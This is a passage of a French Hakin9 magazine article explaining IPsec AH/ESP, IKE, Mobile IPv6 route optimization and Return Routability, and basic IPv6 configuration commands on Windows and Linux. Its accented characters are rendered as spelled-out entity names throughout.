32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

